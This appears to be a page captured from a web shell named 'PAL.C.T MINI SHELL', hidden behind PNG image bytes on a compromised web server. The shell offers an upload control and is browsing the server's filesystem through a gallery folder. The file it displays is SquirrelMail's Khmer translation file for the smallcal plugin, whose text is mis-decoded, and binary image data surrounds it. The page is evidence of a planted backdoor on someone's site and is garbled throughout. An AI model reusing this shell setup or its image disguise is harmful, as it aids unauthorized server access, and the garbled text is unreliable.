‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/smallcal.po

# Khmer (km) smallcal Translation
# piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: smallcal\n"
"POT-Creation-Date: 2003-10-20 16:27+0300\n"
"PO-Revision-Date: 2009-04-24 09:31+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

msgid "S M T W T F S"
msgstr "S M T W T F S"

msgid "Today"
msgstr "ážáŸ’ងៃនáŸáŸ‡"

msgid "Color Picker"
msgstr "ឧបករណáŸâ€‹áž‡áŸ’រើស​ពណ៌"

msgid ""
"Click a box and the hexadecimal color will be shown <br>below. Use these hex "
"values for color box settings."
msgstr "ចុច​លើ​ប្រអប់ ហើយ​ពណ៌​គោល ៦ ážáŸ’រូវបាន​បង្ហាញនៅ​ážáž¶áž„ក្រោម ។ <br> ប្រើ​ážáž˜áŸ’លៃ​គោល ៦ ទាំងនáŸáŸ‡â€‹ážŸáž˜áŸ’រាប់​ការ​កំណážáŸ‹â€‹áž”្រអប់ ។"

msgid "Hex Value"
msgstr "ážáž˜áŸ’លៃ​គោល ៦"

msgid "Small Calendar Options"
msgstr "ជម្រើស​ប្រážáž·áž‘ិន​ážáž¼áž…"

msgid "Small Calendar:"
msgstr "ប្រážáž·áž‘ិន​ážáž¼áž… ៖"

msgid "Show small calendar in left bar"
msgstr "បង្ហាញ​​ប្រážáž·áž‘ិន​ážáž¼áž…​នៅ​ក្នុង​របារ​ážáž¶áž„​ឆ្វáŸáž„"

msgid "Use Default Theme:"
msgstr "ប្រើ​ស្បែក​លំនាំដើម ៖"

msgid "This will override values below"
msgstr "វា​នឹង​បដិសáŸáž’​ážáž˜áŸ’លៃ​ážáž¶áž„ក្រោម"

msgid "Header Color:"
msgstr "ពណ៌​បឋមកážáž¶Â áŸ–"

msgid "Day Color:"
msgstr "ពណ៌​ážáŸ’ងៃ ៖"

msgid "Today Color:"
msgstr "ពណ៌​ážáŸ’ងៃ​នáŸáŸ‡Â áŸ–"

msgid "Event Color:"
msgstr "ពណ៌​ព្រឹážáŸ’ážáž·áž€áž¶ážšážŽáŸÂ áŸ–"

msgid "Calendar separator:"
msgstr "អក្សរ​បំបែក​ប្រážáž·áž‘ិន ៖"

msgid "None"
msgstr "គ្មាន"

msgid "Horizontal rule"
msgstr "ក្បួន​ផ្ដáŸáž€"

msgid "Box"
msgstr "ប្រអប់"

msgid "Calendar size:"
msgstr "ទំហំ​ប្រážáž·áž‘ិន ៖"

msgid "Default size"
msgstr "ទំហំ​លំនាំដើម"

msgid "10 px"
msgstr "១០ ភីកសែល"

msgid "12 px"
msgstr "១២ ភីកសែល"

msgid "14 px"
msgstr "១៤ ភីកសែល"

msgid "16 px"
msgstr "១៦ ភីកសែល"

msgid "Use Shared Calendar:"
msgstr "ប្រើ​ប្រážáž·áž‘ិន​ដែល​បាន​ចែករំលែក ៖"

msgid ""
"Use the shared calendar selected below as your<br>small calendar (default is "
"Personal calendar)"
msgstr "ប្រើ​ប្រážáž·áž‘ិន​ដែល​បាន​ចែករំលែក ដែល​បាន​ជ្រើស​នៅ​ážáž¶áž„ក្រោមដូចនឹង<br>ប្រážáž·áž‘ិន​ážáž¼áž…​របស់​អ្នក (លំនាំដើម គឺ​ប្រážáž·áž‘ិន​ផ្ទាល់ážáŸ’លួន)"

msgid "Shared Calendar:"
msgstr "ប្រážáž·áž‘ិន​ដែល​បាន​ចែករំលែក ៖"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚